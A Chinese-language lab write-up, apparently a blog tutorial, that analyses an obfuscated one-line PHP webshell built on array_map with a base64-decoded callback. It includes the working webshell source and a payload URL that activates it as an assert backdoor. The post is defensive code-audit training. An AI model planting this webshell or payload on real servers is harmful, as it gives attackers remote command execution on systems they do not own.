WebShell代码分析溯源(七)

一、一句话变形马样本

<?php

$e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?>

二、代码分析

1、调整代码格式

2、分析代码

分析代码，首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。

注:array_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。

回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

参考:https://www.w3school.com.cn/php/func_array_map.asp

3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0，这时再次分析代码，array_map(base64_decode($e), $arr)，就变成了array_map(assert, $arr)，assert为自定义函数，assert函数作用于arrs数组中的每一个值上，此时构造了一句话木马assert($_POST['POST'])

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第6题))，地址: https://www.mozhe.cn/bug/detail/b1VaQzhxUzZTN0VYMVQvTHdzUWZ1UT09bW96aGUmozhe

2、代码环境，下载代码

3、分析(上面已经分析过了)

4、使用菜刀连接

5、执行一些命令

四、后记

学习代码审计工具---Seay源代码审计系统

使用Seay源代码审计系统进行代码审计